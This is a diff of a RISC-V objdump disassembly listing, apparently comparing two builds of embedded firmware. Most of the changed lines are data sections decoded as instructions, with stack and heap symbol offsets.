+    2a66:	05161403          	lh	s0,81(a2) # fffe0051 <_heap_end+0x7ffd1851>
+    2a6a:	e204                	fsw	fs1,0(a2)
+    2a6c:	0039                	c.nop	14
+    2a6e:	0400                	addi	s0,sp,512
+    2a70:	05171803          	lh	a6,81(a4)
+    2a74:	aa1e                	fsd	ft7,272(sp)
+    2a76:	0092                	slli	ra,ra,0x4
+    2a78:	0400                	addi	s0,sp,512
+    2a7a:	1801af03          	lw	t5,384(gp) # 794e2732 <_data_lma+0x590de212>
+    2a7e:	0d05                	addi	s10,s10,1
+    2a80:	291a                	fld	fs2,384(sp)
+    2a82:	0000                	unimp
+    2a84:	0404                	addi	s1,sp,512
+    2a86:	00000007          	0x7
+    2a8a:	0400                	addi	s0,sp,512
+    2a8c:	0004                	0x4
+    2a8e:	0004                	0x4
+    2a90:	fd02                	fsw	ft0,184(sp)
+    2a92:	0010                	0x10
+    2a94:	0700                	addi	s0,sp,896
+    2a96:	02fe                	slli	t0,t0,0x1f
+    2a98:	0000                	unimp
+    2a9a:	03010003          	lb	zero,48(sp)
+    2a9e:	0801                	addi	a6,a6,0
+    2aa0:	0205                	addi	tp,tp,1
+    2aa2:	3aca                	fld	fs5,176(sp)
+    2aa4:	0000                	unimp
+    2aa6:	05090503          	lb	a0,80(s2) # fffe1050 <_heap_end+0x7ffd2850>
+    2aaa:	fb04                	fsw	fs1,48(a4)
+    2aac:	0300000b          	0x300000b
+    2ab0:	0b030a07          	0xb030a07
+    2ab4:	0702                	c.slli64	a4
+    2ab6:	0000                	unimp
+    2ab8:	0000                	unimp
+    2aba:	0504                	addi	s1,sp,640
+    2abc:	fc0d                	bnez	s0,29f6 <__stack_size+0x21f6>
+    2abe:	001e                	c.slli	zero,0x7
+    2ac0:	0400                	addi	s0,sp,512
+    2ac2:	00000007          	0x7
+    2ac6:	0400                	addi	s0,sp,512
+    2ac8:	050b0603          	lb	a2,80(s6) # fffe0050 <_heap_end+0x7ffd1850>
+    2acc:	b102                	fsd	ft0,160(sp)
+    2ace:	0026                	c.slli	zero,0x9
+    2ad0:	0300                	addi	s0,sp,384
+    2ad2:	0704                	addi	s1,sp,896
+    2ad4:	0205                	addi	tp,tp,1
+    2ad6:	9841                	andi	s0,s0,-16
+    2ad8:	0000                	unimp
+    2ada:	050c0803          	lb	a6,80(s8)
+    2ade:	7308                	flw	fa0,32(a4)
+    2ae0:	0015                	c.nop	5
+    2ae2:	0300                	addi	s0,sp,384
+    2ae4:	0d0a                	slli	s10,s10,0x2
+    2ae6:	0805                	addi	a6,a6,1
+    2ae8:	6c64                	flw	fs1,92(s0)
+    2aea:	0000                	unimp
+    2aec:	070e0e03          	lb	t3,112(t3)
+    2af0:	0000                	unimp
+    2af2:	0000                	unimp
+    2af4:	0704                	addi	s1,sp,896
+    2af6:	0000                	unimp
+    2af8:	0000                	unimp
+    2afa:	0304                	addi	s1,sp,384
+    2afc:	02050f0b          	0x2050f0b
+    2b00:	5704                	lw	s1,40(a4)
+    2b02:	0000                	unimp
+    2b04:	07100403          	lb	s0,113(zero) # 71 <__stack_size-0x78f>
+    2b08:	0000                	unimp
+    2b0a:	0000                	unimp
+    2b0c:	0304                	addi	s1,sp,384
+    2b0e:	1105                	addi	sp,sp,-31
+    2b10:	00000007          	0x7
+    2b14:	0400                	addi	s0,sp,512
+    2b16:	00000007          	0x7
+    2b1a:	0400                	addi	s0,sp,512
+    2b1c:	00000007          	0x7
+    2b20:	0400                	addi	s0,sp,512
+    2b22:	002ce807          	0x2ce807
+    2b26:	0300                	addi	s0,sp,384
+    2b28:	2b05120b          	0x2b05120b
+    2b2c:	6af2                	flw	fs5,28(sp)
+    2b2e:	0000                	unimp
+    2b30:	07132d03          	lw	s10,113(t1)
     2b34:	0000                	unimp
-    2b36:	0704                	addi	s1,sp,896
-    2b38:	2cff                	0x2cff
-    2b3a:	0000                	unimp
-    2b3c:	0704                	addi	s1,sp,896
-    2b3e:	0000                	unimp
-    2b40:	0000                	unimp
-    2b42:	0304                	addi	s1,sp,384
-    2b44:	2708                	fld	fa0,8(a4)
-    2b46:	00000007          	0x7
-    2b4a:	0400                	addi	s0,sp,512
-    2b4c:	0004                	0x4
-    2b4e:	0004                	0x4
-    2b50:	0500                	addi	s0,sp,640
-    2b52:	01b5                	addi	gp,gp,13
-    2b54:	55b4                	lw	a3,104(a1)
+    2b36:	0000                	unimp
+    2b38:	0304                	addi	s1,sp,384
+    2b3a:	f807142f          	0xf807142f
+    2b3e:	002c                	addi	a1,sp,8
+    2b40:	0400                	addi	s0,sp,512
+    2b42:	00000007          	0x7
+    2b46:	0400                	addi	s0,sp,512
+    2b48:	03150c03          	lb	s8,49(a0)
+    2b4c:	1616                	slli	a2,a2,0x25
+    2b4e:	0605                	addi	a2,a2,1
+    2b50:	00009ed3          	fadd.s	ft9,ft1,ft0,rtz
+    2b54:	0704                	addi	s1,sp,896
     2b56:	0000                	unimp
-    2b58:	b605                	j	2678 <__stack_size+0x1e78>
-    2b5a:	e801                	bnez	s0,2b6a <__stack_size+0x236a>
-    2b5c:	0099                	addi	ra,ra,6
-    2b5e:	0500                	addi	s0,sp,640
-    2b60:	4a7f01b7          	lui	gp,0x4a7f0
-    2b64:	0000                	unimp
-    2b66:	b805                	j	2396 <__stack_size+0x1b96>
-    2b68:	6301                	0x6301
-    2b6a:	004e                	c.slli	zero,0x13
-    2b6c:	0500                	addi	s0,sp,640
-    2b6e:	01b9                	addi	gp,gp,14
-    2b70:	176e                	slli	a4,a4,0x3b
-    2b72:	0000                	unimp
-    2b74:	ba05                	j	24a4 <__stack_size+0x1ca4>
-    2b76:	6401                	0x6401
-    2b78:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    2b7c:	64fa01bb          	0x64fa01bb
-    2b80:	0000                	unimp
-    2b82:	bc05                	j	25b2 <__stack_size+0x1db2>
-    2b84:	4d01                	li	s10,0
-    2b86:	0059                	c.nop	22
-    2b88:	0500                	addi	s0,sp,640
-    2b8a:	01bd                	addi	gp,gp,15
-    2b8c:	5949                	li	s2,-14
-    2b8e:	0000                	unimp
-    2b90:	be05                	j	26c0 <__stack_size+0x1ec0>
-    2b92:	4501                	li	a0,0
-    2b94:	0011                	c.nop	4
-    2b96:	0500                	addi	s0,sp,640
-    2b98:	6dfb01bf c0050000 	0xc00500006dfb01bf
-    2ba0:	4101                	li	sp,0
-    2ba2:	0011                	c.nop	4
-    2ba4:	0500                	addi	s0,sp,640
-    2ba6:	01c1                	addi	gp,gp,16
-    2ba8:	1eb4                	addi	a3,sp,888
+    2b58:	0000                	unimp
+    2b5a:	07172d03          	lw	s10,113(a4)
+    2b5e:	0000                	unimp
+    2b60:	0000                	unimp
+    2b62:	07141803          	lh	a6,113(s0)
+    2b66:	00002dc7          	fmsub.s	fs11,ft0,ft0,ft0,rdn
+    2b6a:	0704                	addi	s1,sp,896
+    2b6c:	0000                	unimp
+    2b6e:	0000                	unimp
+    2b70:	0304                	addi	s1,sp,384
+    2b72:	182e                	slli	a6,a6,0x2b
+    2b74:	00000007          	0x7
+    2b78:	0400                	addi	s0,sp,512
+    2b7a:	05193103          	0x5193103
+    2b7e:	0302                	c.slli64	t1
+    2b80:	006c                	addi	a1,sp,12
+    2b82:	0300                	addi	s0,sp,384
+    2b84:	1a06                	slli	s4,s4,0x21
+    2b86:	00000007          	0x7
+    2b8a:	0400                	addi	s0,sp,512
+    2b8c:	00000007          	0x7
+    2b90:	0400                	addi	s0,sp,512
+    2b92:	051b3203          	0x51b3203
+    2b96:	7402                	flw	fs0,32(sp)
+    2b98:	0079                	c.nop	30
+    2b9a:	0300                	addi	s0,sp,384
+    2b9c:	1c0e                	slli	s8,s8,0x23
+    2b9e:	2705                	jal	32be <__stack_size+0x2abe>
+    2ba0:	955a                	add	a0,a0,s6
+    2ba2:	0000                	unimp
+    2ba4:	0304                	addi	s1,sp,384
+    2ba6:	00071d0f          	0x71d0f
     2baa:	0000                	unimp
-    2bac:	c205                	beqz	a2,2bcc <__stack_size+0x23cc>
-    2bae:	fc01                	bnez	s0,2ac6 <__stack_size+0x22c6>
-    2bb0:	05000037          	lui	zero,0x5000
-    2bb4:	4a7b01c3          	fmadd.d	ft3,fs6,ft7,fs1,rne
-    2bb8:	0000                	unimp
-    2bba:	c405                	beqz	s0,2be2 <__stack_size+0x23e2>
-    2bbc:	c001                	beqz	s0,2bbc <__stack_size+0x23bc>
-    2bbe:	007e                	c.slli	zero,0x1f
-    2bc0:	0500                	addi	s0,sp,640
-    2bc2:	230d01cb          	fnmsub.d	ft3,fs10,fa6,ft4,rne
-    2bc6:	0000                	unimp
-    2bc8:	e706                	fsw	ft1,140(sp)
-    2bca:	0301                	addi	t1,t1,0
-    2bcc:	003c                	addi	a5,sp,8
-    2bce:	0500                	addi	s0,sp,640
-    2bd0:	0284                	addi	s1,sp,320
-    2bd2:	00000d63          	beqz	zero,2bec <__stack_size+0x23ec>
-    2bd6:	8505                	srai	a0,a0,0x1
-    2bd8:	e402                	fsw	ft0,8(sp)
-    2bda:	05000007          	0x5000007
-    2bde:	0286                	slli	t0,t0,0x1
-    2be0:	00003a6b          	0x3a6b
-    2be4:	8705                	srai	a4,a4,0x1
-    2be6:	6e02                	flw	ft8,0(sp)
-    2be8:	0069                	c.nop	26
-    2bea:	0500                	addi	s0,sp,640
-    2bec:	0288                	addi	a0,sp,320
-    2bee:	7e7a                	flw	ft8,188(sp)
-    2bf0:	0000                	unimp
-    2bf2:	8905                	andi	a0,a0,1
-    2bf4:	3902                	fld	fs2,32(sp)
-    2bf6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    2bfa:	028a                	slli	t0,t0,0x2
-    2bfc:	000040f7          	0x40f7
-    2c00:	8b05                	andi	a4,a4,1
-    2c02:	f302                	fsw	ft0,164(sp)
-    2c04:	0040                	addi	s0,sp,4
-    2c06:	0500                	addi	s0,sp,640
-    2c08:	028c                	addi	a1,sp,320
-    2c0a:	3a75                	jal	25c6 <__stack_size+0x1dc6>
-    2c0c:	0000                	unimp
-    2c0e:	8d05                	sub	a0,a0,s1
-    2c10:	d402                	sw	zero,40(sp)
-    2c12:	0001                	nop
-    2c14:	0500                	addi	s0,sp,640
-    2c16:	028e                	slli	t0,t0,0x3
-    2c18:	22a8                	fld	fa0,64(a3)
-    2c1a:	0000                	unimp
-    2c1c:	8f05                	sub	a4,a4,s1
-    2c1e:	2d02                	fld	fs10,0(sp)
-    2c20:	05000013          	li	zero,80
-    2c24:	0290                	addi	a2,sp,320
-    2c26:	000022a3          	sw	zero,5(zero) # 5 <__stack_size-0x7fb>
-    2c2a:	9105                	srli	a0,a0,0x21
-    2c2c:	6702                	flw	fa4,0(sp)
-    2c2e:	003a                	c.slli	zero,0xe
-    2c30:	0500                	addi	s0,sp,640
-    2c32:	0292                	slli	t0,t0,0x4
-    2c34:	47e4                	lw	s1,76(a5)
-    2c36:	0000                	unimp
-    2c38:	9f06                	add	t5,t5,ra
-    2c3a:	8602                	jr	a2
-    2c3c:	0600003b          	0x600003b
-    2c40:	02d4                	addi	a3,sp,324
-    2c42:	000072ef          	jal	t0,9c42 <__stack_size+0x9442>
-    2c46:	8606                	mv	a2,ra
-    2c48:	00513803          	0x513803
-    2c4c:	0500                	addi	s0,sp,640
-    2c4e:	70b4038b          	0x70b4038b
-    2c52:	0000                	unimp
-    2c54:	9106                	add	sp,sp,ra
-    2c56:	00513103          	0x513103
-    2c5a:	0000                	unimp
-    2c5c:	0004                	0x4
-    2c5e:	0500                	addi	s0,sp,640
-    2c60:	005c3827          	fsd	ft5,16(s8)
-    2c64:	0500                	addi	s0,sp,640
-    2c66:	ce28                	sw	a0,88(a2)
-    2c68:	007f                	0x7f
-    2c6a:	0500                	addi	s0,sp,640
-    2c6c:	332a                	fld	ft6,168(sp)
-    2c6e:	005c                	addi	a5,sp,4
-    2c70:	0500                	addi	s0,sp,640
-    2c72:	21590183          	lb	gp,533(s2)
-    2c76:	0000                	unimp
-    2c78:	8405                	srai	s0,s0,0x1
-    2c7a:	6701                	0x6701
-    2c7c:	0500000b          	0x500000b
-    2c80:	0185                	addi	gp,gp,1
-    2c82:	7326                	flw	ft6,104(sp)
-    2c84:	0000                	unimp
-    2c86:	8605                	srai	a2,a2,0x1
-    2c88:	2001                	jal	2c88 <__stack_size+0x2488>
-    2c8a:	05000063          	beq	zero,a6,2cca <__stack_size+0x24ca>
-    2c8e:	832c0187          	0x832c0187
-    2c92:	0000                	unimp
-    2c94:	8805                	andi	s0,s0,1
-    2c96:	2801                	jal	2ca6 <__stack_size+0x24a6>
-    2c98:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    2c9c:	0189                	addi	gp,gp,2
-    2c9e:	90a1                	srli	s1,s1,0x28
-    2ca0:	0000                	unimp
-    2ca2:	8a05                	andi	a2,a2,1
-    2ca4:	5501                	li	a0,-32
-    2ca6:	0021                	c.nop	8
-    2ca8:	0500                	addi	s0,sp,640
-    2caa:	2676018b          	0x2676018b
-    2cae:	0000                	unimp
-    2cb0:	9b06                	add	s6,s6,ra
-    2cb2:	7b01                	lui	s6,0xfffe0
-    2cb4:	005f 0600 01e7      	0x1e70600005f
-    2cba:	00003c03          	0x3c03
-    2cbe:	d406                	sw	ra,40(sp)
-    2cc0:	ef02                	fsw	ft0,156(sp)
-    2cc2:	0072                	c.slli	zero,0x1c
-    2cc4:	0600                	addi	s0,sp,768
-    2cc6:	0386                	slli	t2,t2,0x1
-    2cc8:	5138                	lw	a4,96(a0)
-    2cca:	0000                	unimp
-    2ccc:	8b05                	andi	a4,a4,1
-    2cce:	0070b403          	0x70b403
-    2cd2:	0600                	addi	s0,sp,768
-    2cd4:	0391                	addi	t2,t2,4
-    2cd6:	5131                	li	sp,-20
-    2cd8:	0000                	unimp
-    2cda:	9605                	srai	a2,a2,0x21
-    2cdc:	00513d03          	0x513d03
-    2ce0:	0500                	addi	s0,sp,640
-    2ce2:	9956039b          	0x9956039b
-    2ce6:	0000                	unimp
-    2ce8:	0400                	addi	s0,sp,512
-    2cea:	0000                	unimp
-    2cec:	0805                	addi	a6,a6,1
-    2cee:	6c20                	flw	fs0,88(s0)
-    2cf0:	0000                	unimp
-    2cf2:	0e05                	addi	t3,t3,1
-    2cf4:	3ae9                	jal	26ce <__stack_size+0x1ece>
+    2bac:	0400                	addi	s0,sp,512
+    2bae:	051e1003          	lh	zero,81(t3)
+    2bb2:	00396323          	0x396323
+    2bb6:	0300                	addi	s0,sp,384
+    2bb8:	1f26                	slli	t5,t5,0x29
+    2bba:	2505                	jal	31da <__stack_size+0x29da>
+    2bbc:	3c0e                	fld	fs8,224(sp)
+    2bbe:	0000                	unimp
+    2bc0:	0704                	addi	s1,sp,896
+    2bc2:	0000                	unimp
+    2bc4:	0000                	unimp
+    2bc6:	0704                	addi	s1,sp,896
+    2bc8:	0000                	unimp
+    2bca:	0000                	unimp
+    2bcc:	0704                	addi	s1,sp,896
+    2bce:	0000                	unimp
+    2bd0:	0000                	unimp
+    2bd2:	2001df03          	lhu	t5,512(gp) # 8000e260 <_end+0x80>
+    2bd6:	1305                	addi	t1,t1,-31
+    2bd8:	0000811b          	0x811b
+    2bdc:	07211703          	lh	a4,114(sp)
+    2be0:	0000                	unimp
+    2be2:	0000                	unimp
+    2be4:	0704                	addi	s1,sp,896
+    2be6:	0000                	unimp
+    2be8:	0000                	unimp
+    2bea:	0304                	addi	s1,sp,384
+    2bec:	01e0                	addi	s0,sp,204
+    2bee:	0422                	slli	s0,s0,0x8
+    2bf0:	e406                	fsw	ft1,8(sp)
+    2bf2:	a401                	j	2df2 <__stack_size+0x25f2>
+    2bf4:	0400002b          	0x400002b
+    2bf8:	07140e03          	lb	t3,113(s0)
+    2bfc:	00002de7          	0x2de7
+    2c00:	0704                	addi	s1,sp,896
+    2c02:	0000                	unimp
+    2c04:	0000                	unimp
+    2c06:	0404                	addi	s1,sp,512
+    2c08:	05040703          	lb	a4,80(s0)
+    2c0c:	bb08                	fsd	fa0,48(a4)
+    2c0e:	005e                	c.slli	zero,0x17
+    2c10:	0300                	addi	s0,sp,384
+    2c12:	0c0a                	slli	s8,s8,0x2
+    2c14:	0304                	addi	s1,sp,384
+    2c16:	0b05230b          	0xb05230b
+    2c1a:	00008367          	jalr	t1,ra # 50021ae <__stack_size+0x50019ae>
+    2c1e:	04140e03          	lb	t3,65(s0)
+    2c22:	00000007          	0x7
+    2c26:	0300                	addi	s0,sp,384
+    2c28:	2422                	fld	fs0,8(sp)
+    2c2a:	00000007          	0x7
+    2c2e:	0400                	addi	s0,sp,512
+    2c30:	00000007          	0x7
+    2c34:	0400                	addi	s0,sp,512
+    2c36:	002ea507          	flw	fa0,2(t4) # 9002 <__stack_size+0x8802>
+    2c3a:	0300                	addi	s0,sp,384
+    2c3c:	1411                	addi	s0,s0,-28
+    2c3e:	00000007          	0x7
+    2c42:	0400                	addi	s0,sp,512
+    2c44:	05251403          	lh	s0,82(a0)
+    2c48:	e204                	fsw	fs1,0(a2)
+    2c4a:	0039                	c.nop	14
+    2c4c:	0400                	addi	s0,sp,512
+    2c4e:	05261803          	lh	a6,82(a2)
+    2c52:	aa1e                	fsd	ft7,272(sp)
+    2c54:	0092                	slli	ra,ra,0x4
+    2c56:	0400                	addi	s0,sp,512
+    2c58:	2701af03          	lw	t5,624(gp) # 8000e2d0 <_end+0xf0>
+    2c5c:	0d05                	addi	s10,s10,1
+    2c5e:	291a                	fld	fs2,384(sp)
+    2c60:	0000                	unimp
+    2c62:	0404                	addi	s1,sp,512
+    2c64:	07050803          	lb	a6,112(a0)
+    2c68:	0000                	unimp
+    2c6a:	0000                	unimp
+    2c6c:	07142403          	lw	s0,113(s0)
+    2c70:	0000                	unimp
+    2c72:	0000                	unimp
+    2c74:	0504                	addi	s1,sp,640
+    2c76:	00985027          	0x985027
+    2c7a:	0300                	addi	s0,sp,384
+    2c7c:	2828                	fld	fa0,80(s0)
+    2c7e:	00000007          	0x7
+    2c82:	0400                	addi	s0,sp,512
+    2c84:	00000007          	0x7
+    2c88:	0300                	addi	s0,sp,384
+    2c8a:	0007294f          	fnmadd.s	fs2,fa4,ft0,ft0,rdn
+    2c8e:	0000                	unimp
+    2c90:	0400                	addi	s0,sp,512
+    2c92:	00000007          	0x7
+    2c96:	0400                	addi	s0,sp,512
+    2c98:	05030903          	lb	s2,80(t1)
+    2c9c:	d602                	sw	zero,44(sp)
+    2c9e:	0050                	addi	a2,sp,4
+    2ca0:	0300                	addi	s0,sp,384
+    2ca2:	1405                	addi	s0,s0,-31
+    2ca4:	0304                	addi	s1,sp,384
+    2ca6:	0606                	slli	a2,a2,0x1
+    2ca8:	0805                	addi	a6,a6,1
+    2caa:	0b32                	slli	s6,s6,0xc
+    2cac:	0000                	unimp
+    2cae:	04100a03          	lb	s4,65(zero) # 41 <__stack_size-0x7bf>
+    2cb2:	00000007          	0x7
+    2cb6:	0300                	addi	s0,sp,384
+    2cb8:	1410                	addi	a2,sp,544
+    2cba:	00000007          	0x7
+    2cbe:	0400                	addi	s0,sp,512
+    2cc0:	052a1403          	lh	s0,82(s4)
+    2cc4:	1e02                	slli	t3,t3,0x20
+    2cc6:	0015                	c.nop	5
+    2cc8:	0400                	addi	s0,sp,512
+    2cca:	072b1603          	lh	a2,114(s6)
+    2cce:	0000                	unimp
+    2cd0:	0000                	unimp
+    2cd2:	0704                	addi	s1,sp,896
+    2cd4:	0000                	unimp
+    2cd6:	0000                	unimp
+    2cd8:	0704                	addi	s1,sp,896
+    2cda:	0000                	unimp
+    2cdc:	0000                	unimp
+    2cde:	0504                	addi	s1,sp,640
+    2ce0:	001cb50b          	0x1cb50b
+    2ce4:	0400                	addi	s0,sp,512
+    2ce6:	0004                	0x4
+    2ce8:	0004                	0x4
+    2cea:	0500                	addi	s0,sp,640
+    2cec:	ff09                	bnez	a4,2c06 <__stack_size+0x2406>
+    2cee:	0500003b          	0x500003b
+    2cf2:	170a                	slli	a4,a4,0x22
+    2cf4:	0060                	addi	s0,sp,12
     2cf6:	0000                	unimp
-    2cf8:	0f05                	addi	t5,t5,1
-    2cfa:	7021                	c.lui	zero,0xfffe8
-    2cfc:	0000                	unimp
-    2cfe:	0400                	addi	s0,sp,512
+    2cf8:	0004                	0x4
+    2cfa:	0500                	addi	s0,sp,640
+    2cfc:	21e10183          	lb	gp,542(sp)
     2d00:	0000                	unimp
-    2d02:	1905                	addi	s2,s2,-31
-    2d04:	8122                	mv	sp,s0
-    2d06:	0000                	unimp
-    2d08:	1a05                	addi	s4,s4,-31
-    2d0a:	7a46                	flw	fs4,112(sp)
-    2d0c:	0000                	unimp
-    2d0e:	a205                	j	2e2e <__stack_size+0x262e>
-    2d10:	7a01                	lui	s4,0xfffe0
-    2d12:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    2d16:	01f0                	addi	a2,sp,204
-    2d18:	00005efb          	0x5efb
-    2d1c:	f105                	bnez	a0,2c3c <__stack_size+0x243c>
-    2d1e:	d501                	beqz	a0,2c26 <__stack_size+0x2426>
-    2d20:	006d                	c.nop	27
-    2d22:	0500                	addi	s0,sp,640
-    2d24:	01f5                	addi	gp,gp,29
-    2d26:	3521                	jal	2b2e <__stack_size+0x232e>
-    2d28:	0000                	unimp
-    2d2a:	f805                	bnez	s0,2c5a <__stack_size+0x245a>
-    2d2c:	1d01                	addi	s10,s10,-32
-    2d2e:	000c                	0xc
-    2d30:	0500                	addi	s0,sp,640
-    2d32:	01ff                	0x1ff
-    2d34:	00003e37          	lui	t3,0x3
-    2d38:	8705                	srai	a4,a4,0x1
-    2d3a:	6c02                	flw	fs8,0(sp)
-    2d3c:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
+    2d02:	8405                	srai	s0,s0,0x1
+    2d04:	ef01                	bnez	a4,2d1c <__stack_size+0x251c>
+    2d06:	000a                	c.slli	zero,0x2
+    2d08:	0500                	addi	s0,sp,640
+    2d0a:	0185                	addi	gp,gp,1
+    2d0c:	73c1                	lui	t2,0xffff0
+    2d0e:	0000                	unimp
+    2d10:	8605                	srai	a2,a2,0x1
+    2d12:	e101                	bnez	a0,2d12 <__stack_size+0x2512>
+    2d14:	05000063          	beq	zero,a6,2d54 <__stack_size+0x2554>
+    2d18:	83b20187          	0x83b20187
+    2d1c:	0000                	unimp
+    2d1e:	8805                	andi	s0,s0,1
+    2d20:	ae01                	j	3030 <__stack_size+0x2830>
+    2d22:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    2d26:	0189                	addi	gp,gp,2
+    2d28:	9166                	add	sp,sp,s9
+    2d2a:	0000                	unimp
+    2d2c:	8a05                	andi	a2,a2,1
+    2d2e:	dd01                	beqz	a0,2c46 <__stack_size+0x2446>
+    2d30:	0021                	c.nop	8
+    2d32:	0500                	addi	s0,sp,640
+    2d34:	273a018b          	0x273a018b
+    2d38:	0000                	unimp
+    2d3a:	9b06                	add	s6,s6,ra
+    2d3c:	8701                	c.srai64	a4
+    2d3e:	0060                	addi	s0,sp,12
+    2d40:	0500                	addi	s0,sp,640
+    2d42:	01b5                	addi	gp,gp,13
+    2d44:	56e2                	lw	a3,56(sp)
+    2d46:	0000                	unimp
+    2d48:	b605                	j	2868 <__stack_size+0x2068>
+    2d4a:	9601                	srai	a2,a2,0x20
+    2d4c:	009a                	slli	ra,ra,0x6
+    2d4e:	0500                	addi	s0,sp,640
+    2d50:	4bc601b7          	lui	gp,0x4bc60
+    2d54:	0000                	unimp
+    2d56:	b805                	j	2586 <__stack_size+0x1d86>
+    2d58:	6001                	0x6001
+    2d5a:	0500004f          	0x500004f
+    2d5e:	01b9                	addi	gp,gp,14
+    2d60:	16bd                	addi	a3,a3,-17
+    2d62:	0000                	unimp
+    2d64:	ba05                	j	2694 <__stack_size+0x1e94>
+    2d66:	d401                	beqz	s0,2c6e <__stack_size+0x246e>
+    2d68:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    2d6c:	65b301bb          	0x65b301bb
+    2d70:	0000                	unimp
+    2d72:	bc05                	j	27a2 <__stack_size+0x1fa2>
+    2d74:	a801                	j	2d84 <__stack_size+0x2584>
+    2d76:	005a                	c.slli	zero,0x16
+    2d78:	0500                	addi	s0,sp,640
+    2d7a:	01bd                	addi	gp,gp,15
+    2d7c:	5aa4                	lw	s1,112(a3)
+    2d7e:	0000                	unimp
+    2d80:	be05                	j	28b0 <__stack_size+0x20b0>
+    2d82:	d901                	beqz	a0,2c92 <__stack_size+0x2492>
+    2d84:	0010                	0x10
+    2d86:	0500                	addi	s0,sp,640
+    2d88:	6e9401bf c0050000 	0xc00500006e9401bf
+    2d90:	d501                	beqz	a0,2c98 <__stack_size+0x2498>
+    2d92:	0010                	0x10
+    2d94:	0500                	addi	s0,sp,640
+    2d96:	01c1                	addi	gp,gp,16
+    2d98:	1eea                	slli	t4,t4,0x3a
+    2d9a:	0000                	unimp
+    2d9c:	c205                	beqz	a2,2dbc <__stack_size+0x25bc>
+    2d9e:	df01                	beqz	a4,2cb6 <__stack_size+0x24b6>
+    2da0:	0038                	addi	a4,sp,8
+    2da2:	0500                	addi	s0,sp,640
+    2da4:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
+    2da8:	0000                	unimp
+    2daa:	c405                	beqz	s0,2dd2 <__stack_size+0x25d2>
+    2dac:	4301                	li	t1,0
+    2dae:	007f                	0x7f
+    2db0:	0500                	addi	s0,sp,640
+    2db2:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
+    2db6:	0000                	unimp
+    2db8:	e706                	fsw	ft1,140(sp)
+    2dba:	1001                	c.nop	-32
+    2dbc:	003d                	c.nop	15
+    2dbe:	0600                	addi	s0,sp,768
+    2dc0:	0391                	addi	t2,t2,4
+    2dc2:	00005273          	csrrwi	tp,ustatus,0
+    2dc6:	0400                	addi	s0,sp,512
+    2dc8:	0000                	unimp
+    2dca:	e706                	fsw	ft1,140(sp)
+    2dcc:	1001                	c.nop	-32
+    2dce:	003d                	c.nop	15
+    2dd0:	0500                	addi	s0,sp,640
+    2dd2:	02d9                	addi	t0,t0,22
+    2dd4:	000002f7          	0x2f7
+    2dd8:	e006                	fsw	ft1,0(sp)
+    2dda:	b802                	fsd	ft0,48(sp)
+    2ddc:	0045                	c.nop	17
+    2dde:	0600                	addi	s0,sp,768
+    2de0:	0391                	addi	t2,t2,4
+    2de2:	00005273          	csrrwi	tp,ustatus,0
+    2de6:	0400                	addi	s0,sp,512
+    2de8:	0000                	unimp
+    2dea:	2705                	jal	350a <__stack_size+0x2d0a>
+    2dec:	5d42                	lw	s10,48(sp)
+    2dee:	0000                	unimp
+    2df0:	2805                	jal	2e20 <__stack_size+0x2620>
+    2df2:	8051                	srli	s0,s0,0x14
+    2df4:	0000                	unimp
+    2df6:	2a05                	jal	2f26 <__stack_size+0x2726>
+    2df8:	5d3d                	li	s10,-17
+    2dfa:	0000                	unimp
+    2dfc:	9b06                	add	s6,s6,ra
+    2dfe:	8701                	c.srai64	a4
+    2e00:	0060                	addi	s0,sp,12
+    2e02:	0600                	addi	s0,sp,768
+    2e04:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
+    2e08:	0000                	unimp
+    2e0a:	8405                	srai	s0,s0,0x1
+    2e0c:	b402                	fsd	ft0,40(sp)
+    2e0e:	0048                	addi	a0,sp,4
+    2e10:	0500                	addi	s0,sp,640
+    2e12:	0285                	addi	t0,t0,1
+    2e14:	079a                	slli	a5,a5,0x6
+    2e16:	0000                	unimp
+    2e18:	8605                	srai	a2,a2,0x1
+    2e1a:	8102                	jr	sp
+    2e1c:	0500003b          	0x500003b
+    2e20:	6a1b0287          	0x6a1b0287
+    2e24:	0000                	unimp
+    2e26:	8805                	andi	s0,s0,1
+    2e28:	fd02                	fsw	ft0,184(sp)
+    2e2a:	007e                	c.slli	zero,0x1f
+    2e2c:	0500                	addi	s0,sp,640
+    2e2e:	0289                	addi	t0,t0,2
+    2e30:	000083bf 02028a05 	0x2028a05000083bf
+    2e38:	0042                	c.slli	zero,0x10
+    2e3a:	0500                	addi	s0,sp,640
+    2e3c:	41fe028b          	0x41fe028b
+    2e40:	0000                	unimp
+    2e42:	8c05                	sub	s0,s0,s1
+    2e44:	8b02                	jr	s6
+    2e46:	0500003b          	0x500003b
+    2e4a:	028d                	addi	t0,t0,3
+    2e4c:	01a9                	addi	gp,gp,10
+    2e4e:	0000                	unimp
+    2e50:	8e05                	sub	a2,a2,s1
+    2e52:	5902                	lw	s2,32(sp)
+    2e54:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    2e58:	129f028f          	0x129f028f
+    2e5c:	0000                	unimp
+    2e5e:	9005                	srli	s0,s0,0x21
+    2e60:	5402                	lw	s0,32(sp)
+    2e62:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    2e66:	0291                	addi	t0,t0,4
+    2e68:	3b7d                	jal	2c26 <__stack_size+0x2426>
+    2e6a:	0000                	unimp
+    2e6c:	9205                	srli	a2,a2,0x21
+    2e6e:	0102                	c.slli64	sp
+    2e70:	0049                	c.nop	18
+    2e72:	0600                	addi	s0,sp,768
+    2e74:	029f 3c93 0000      	0x3c93029f
+    2e7a:	d406                	sw	ra,40(sp)
+    2e7c:	8a02                	jr	s4
+    2e7e:	06000073          	0x6000073
+    2e82:	0386                	slli	t2,t2,0x1
+    2e84:	527a                	lw	tp,188(sp)
+    2e86:	0000                	unimp
+    2e88:	8b05                	andi	a4,a4,1
+    2e8a:	00713503          	0x713503
+    2e8e:	0600                	addi	s0,sp,768
+    2e90:	0391                	addi	t2,t2,4
+    2e92:	00005273          	csrrwi	tp,ustatus,0
+    2e96:	9605                	srai	a2,a2,0x21
